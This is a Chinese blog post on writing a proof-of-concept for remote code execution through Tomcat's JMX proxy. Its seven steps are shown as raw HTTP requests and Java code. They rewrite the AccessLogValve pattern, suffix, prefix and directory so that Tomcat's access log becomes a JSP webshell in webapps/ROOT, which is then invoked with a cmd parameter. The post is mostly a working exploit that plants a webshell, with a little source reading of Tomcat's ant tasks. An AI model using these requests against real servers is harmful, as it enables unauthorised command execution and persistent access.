Tomcat jmx组件 RCE poc编写

简介: Tomcat jmx组件 RCE poc编写

审计视频已经上传到百度网盘了链接自取:

链接:https://pan.baidu.com/s/1r6dMBU9t9uEVig3SP5tSTw

提取码:kn03

--来自百度网盘超级会员V1的分享

参考:一种Tomcat的利用方式 | 4ra1n

长话短说就是 jmx这个组件 可以获取jvm运行中的类信息 和查看,也可以进行设置

当时入门安全的时候 也是在迪哥群里认识的,不得不说 实属牛批,许少的小迷弟。之前参考 tomcat 特殊内存马 也让我学到了另一种权限维持的姿势。

编程技术 也是烂的很,底层的东西暂时分析不了,哎

下载了tomcat的源码 好奇 还是想看看代码

漏洞的源代码位于

apache-tomcat-9.0.50-src\java\org\apache\catalina\ant

存在一个antilb.xml 简单看一下

引用了三个类

逐个类 看一看  目前我的技术也只能看懂一点  细节啥的就gg了

JMXSetTask

设置任务

三个变量

get set方法

640.png

JMXGetTask

获取任务

定义两个变量

protected String bean     = null;
protected String attribute = null;

基础的 变量  get set方法


判断变量是否有数据  执行方法 将数据url编码

JMXQueryTask

查询任务 也是url编码

看上去 没多少行代码,实际上 细节部分在 jmx包下 不过不是今天的主题了

因为最近项目很忙,好长时间没接触代码,有些生疏。看了4ra1n的博客,感觉这个很有意思,和spring rce简直一模一样,许少写的利用工具是 go的 我不会,想着动手练习下java,顺便写个java的。

发送http请求的话,java 中有几个,如 原生的 urlconnection  apache的 httpclinets

spring的RestTemplate 和 okhttp3 等

tomcat 配置文件添加登录认证

conf/tomcat-users.xml

<user username="admin" password="123456" roles="manager-jmx"/>

手动发包 需要七次

用代码发送 也需要七次

修改日志格式为一句话:于是每条新日志都会变成一句话
注意不能包含特殊符号,所以使用%{header}i从请求头中提取<%等特殊符号
修改日志后缀为:JSP
修改日志前缀为:shell(只要可控即可无需在意具体是什么)
修改日志目录为可以解析JSP的目录:例如默认的webapps/ROOT
修改日志文件名时间格式目的是使rotate创建新文件,写入JSP马
带有特殊请求头的请求即可写入Webshell

绘制界面

添加逻辑代码

主要是分两点,

一个是url 拼接参数

二个是 加 base64认证

步骤1

GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20%25%7b%73%7d%69 HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
String url = "http://" + host.getText() + ":" + port.getText();
String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host=" + host.getText() + ",name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20%25%7b%73%7d%69";
String http = url + payload;
// base64认证
String authString = user.getText() + ":" + pass.getText();
byte[] authEncBytes = Base64.encode(authString.getBytes());
String authStringEnc = new String(authEncBytes);
URL obj = new URL(http);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestProperty("Authorization", "Basic " + authStringEnc);

步骤2

GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host=" + host.getTex

步骤3

GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host=" + host.getText()

步骤4

GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host=" + host.getText() + ",name=A

步骤5

GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val= HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
String payload = "/manager/jmxproxy/?set=Catalina:type=Valve,host="+host.getText()+",name=

步骤6

GET / HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
p: <%
s: %>//
con.setRequestProperty("p", "<%");
con.setRequestProperty("s", "%>//");

步骤7

GET /shell.jsp?cmd=calc.exe HTTP/1.1
Host: 127.0.0.1:8080
Connection: clos

最终效果

代码比较烂,主要是练习下,顺便巩固下基础。



相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
相关文章
|
28天前
|
设计模式 安全 Java
【分布式技术专题】「Tomcat技术专题」 探索Tomcat技术架构设计模式的奥秘(Server和Service组件原理分析)
【分布式技术专题】「Tomcat技术专题」 探索Tomcat技术架构设计模式的奥秘(Server和Service组件原理分析)
32 0
|
5月前
|
监控 Java 应用服务中间件
Tomcat打开远程调试和jmx远程监控
Tomcat打开远程调试和jmx远程监控
|
安全 Java 应用服务中间件
组件漏洞修复---修改SpringBoot内置tomcat的版本号
安全反应Tomcat9.0.41存在安全漏洞,让将所有服务的Tomcat版本升级到9.0.44,我们都知道SpingBoot中是集成的有内置的Tomcat的,叫Embed-Tomcat,这个Tomcat和我们用于部署war包的Tomcat还是有有一些区别的,但是版本一直和Tomcat基本保持一致。
774 0
组件漏洞修复---修改SpringBoot内置tomcat的版本号
|
3月前
|
前端开发 Java 应用服务中间件
架构篇:Tomcat 高层组件构建一个商业帝国
架构篇:Tomcat 高层组件构建一个商业帝国
297 6
|
网络协议 应用服务中间件 网络安全
tomcat 组件与server.xml配置
tomcat 组件与server.xml配置
127 0
|
设计模式 安全 Java
【Tomcat技术专题】循序渐进,分析Servlet容器鼻祖的Server和Service组件原理
【Tomcat技术专题】循序渐进,分析Servlet容器鼻祖的Server和Service组件原理
130 0
【Tomcat技术专题】循序渐进,分析Servlet容器鼻祖的Server和Service组件原理
|
应用服务中间件 编译器 数据库
【bug:eclispe中启动Tomcat警告】无法启动组件、子容器启动失败
【bug:eclispe中启动Tomcat警告】无法启动组件、子容器启动失败
1013 0
【bug:eclispe中启动Tomcat警告】无法启动组件、子容器启动失败
|
设计模式 前端开发 应用服务中间件
拆解Tomcat10: (六) 核心组件的生命周期管理与组合模式解析(二)
上一篇《拆解Tomcat10 (五) 核心组件的初始化与设计模式解析》分享了Tomcat的核心组件的是如何实现生命周期接口的,以及生命周期方法的调用逻辑。如果把Tomcat比作一台机器,那么这台机器是如何开机、关机的呢? 当按下开机键,所有核心组件会逐步初始化、启动;当按下关机键,所有组件又会随着关机,释放资源,这是如何实现的呢?
930 0
拆解Tomcat10: (六) 核心组件的生命周期管理与组合模式解析(二)
|
设计模式 XML 算法
拆解Tomcat10: (六) 核心组件的生命周期管理与组合模式解析(一)
上一篇《拆解Tomcat10 (五) 核心组件的初始化与设计模式解析》分享了Tomcat的核心组件的是如何实现生命周期接口的,以及生命周期方法的调用逻辑。如果把Tomcat比作一台机器,那么这台机器是如何开机、关机的呢? 当按下开机键,所有核心组件会逐步初始化、启动;当按下关机键,所有组件又会随着关机,释放资源,这是如何实现的呢?
795 0
拆解Tomcat10: (六) 核心组件的生命周期管理与组合模式解析(一)
|
设计模式 前端开发 应用服务中间件
拆解Tomcat10: (五) 核心组件的协调控制与设计模式解析(三)
上一篇《拆解Tomcat10: (四) 图解架构》分享了Tomcat的核心组件及其架构关系,本章接着讲解组件的Tomcat的初始化过程,这么多组件是如何统一加载、启动的。这其中用到了哪些设计模式和设计原则。
364 0
拆解Tomcat10: (五) 核心组件的协调控制与设计模式解析(三)